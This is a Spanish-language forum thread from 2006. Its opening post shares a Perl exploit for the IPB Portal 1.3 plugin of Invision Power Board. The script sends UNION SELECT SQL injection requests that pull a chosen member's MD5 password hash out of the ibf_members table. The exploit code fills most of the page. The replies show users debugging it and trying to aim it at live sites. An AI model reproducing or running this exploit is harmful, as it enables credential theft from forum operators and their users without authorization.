elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:27  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  >Invision Power Board <= 1.3 SQL Injection Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: >Invision Power Board <= 1.3 SQL Injection Exploit  (Leído 3,489 veces)
rodimus

Desconectado Desconectado

Mensajes: 42



Ver Perfil
>Invision Power Board <= 1.3 SQL Injection Exploit
« en: 31 Enero 2006, 22:23 »

aki les dejo este exploit :

Código:
#!/usr/bin/perl
###########################################
#IPB Portal 1.3-&gt;Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#&quot;Portal 1.3 by Dragoran&quot;
###########################################



use IO::Socket;
if (@ARGV &lt; 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0    #
#     created By SkOd. SED Security Team             #
############################################################
ipbpro.pl [HOST] [PATH] [Target id]
  ipbpro.pl www.host.com /forum/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http://)//eg;
$path = $dir.''''index.php?act=portal&amp;site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id=''''.$id.''''/*'''';
$path2 = $dir.''''index.php?act=portal&amp;site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id=''''.$id.''''/*'''';
$socket = IO::Socket::INET-&gt;new( Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$serv&quot;, PeerPort =&gt; &quot;80&quot;) || die &quot;[-]Connect Failed
&quot;;

print &quot;[+]Connecting...
&quot;;
print $socket &quot;GET $path HTTP/1.1
&quot;;
print $socket &quot;Host: $serv
&quot;;
print $socket &quot;Accept: */*
&quot;;
print $socket &quot;Connection: close

&quot;;
print &quot;[+]Connected
&quot;;
print &quot;[+]User ID: $id
&quot;;
print &quot;[+]MD5 Hash: &quot;;
while ($answer = &lt;$socket&gt;)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign=&quot;top&quot; width=&quot;(.*?)&quot;/ &amp;&amp; print &quot;$1&quot;;
}

$socket = IO::Socket::INET-&gt;new( Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$serv&quot;, PeerPort =&gt; &quot;80&quot;) || die &quot;[-]Exploit Failed
&quot;;
print $socket &quot;GET $path2 HTTP/1.1
&quot;;
print $socket &quot;Host: $serv
&quot;;
print $socket &quot;Accept: */*
&quot;;
print $socket &quot;Connection: close

&quot;;

while ($answer = &lt;$socket&gt;)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign=&quot;top&quot; width=&quot;(.*?)&quot;/ &amp;&amp; print &quot;$1&quot;;
}

# milw0rm.com [2006-01-31]
Salu2
« Última modificación: 31 Enero 2006, 22:26 por rodimus » En línea
Jotatt

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #1 en: 1 Febrero 2006, 11:00 »

me da dos errores... :huh:

syntax error at C:c.pl line 14, near "&lt"
syntax error at C:c.pl line 26, near "}"

y no se porque...
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #2 en: 2 Febrero 2006, 11:36 »

Parece ser que al publicarlo en alguna web los caracteres cambiar por su equivalente en html. Asi que para arreglarlo solo debes volverlos a su original. Bien simple  :)
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
flokou

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #3 en: 13 Febrero 2006, 20:22 »

disculpen . .soy medio newbie .. pero mas o menos pueden dar un reseña de como funciona y lso pasos a seguir?
En línea
-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #4 en: 13 Febrero 2006, 20:30 »

disculpen . .soy medio newbie .. pero mas o menos pueden dar un reseña de como funciona y lso pasos a seguir?


Está escrito en perl

Véase el tema http://foro.elhacker.net/index.php/topic,108077.0.html  :rolleyes:
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #5 en: 13 Febrero 2006, 22:34 »

No, pero el quiere saber como funciona.. no como instalar Perl xD

Aca hay uno parecido, para IPB tambien, con una vulnerabilidad parecida, solo que la que ponen aqui esta mas sencilla.

http://foro.elhacker.net/index.php/topic,99566.0.html

Saludos!!
En línea

azhturion

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #6 en: 25 Febrero 2006, 03:04 »

Bueno, ya resolví el primer error (vaya!) peeeero ahora me marka el siguiente error:

Código:
Unmatched ( in regex; marked by <-- HERE in m/( <-- HERE http:/ at ippro.pl line 32
Busco la linea 32:

Código:
$serv =~ s/(http://s3.invisionfree.com/fulanito_de_tal/index.php?)//g;

Me lleva, que diablos estoy haciendo mal?
En línea
ozzmadark

Desconectado Desconectado

Mensajes: 100



Ver Perfil WWW
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #7 en: 25 Febrero 2006, 05:52 »

hablo sin saber...pero no tendras que cambiar
Código:
$serv =~ s/(http://s3.invisionfree.com/fulanito_de_tal/index.php?)//g;

por la web vulnerable.  :-X
En línea

zeppelin32

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: >Invision Power Board <= 1.3 SQL Injection Exploit
« Respuesta #8 en: 14 Marzo 2006, 18:39 »

¿A alguien le ha funcionado este exploit?

No entiendo estas tres lineas:

Código:
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";

Ejecuto el código, pero el resultado que me devuelve ($socket) no contiene ninguna cadena con valign="top".
Y claro, no me devuelve ningún MD5 Hash.

¿A alguien le ha funcionado?
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines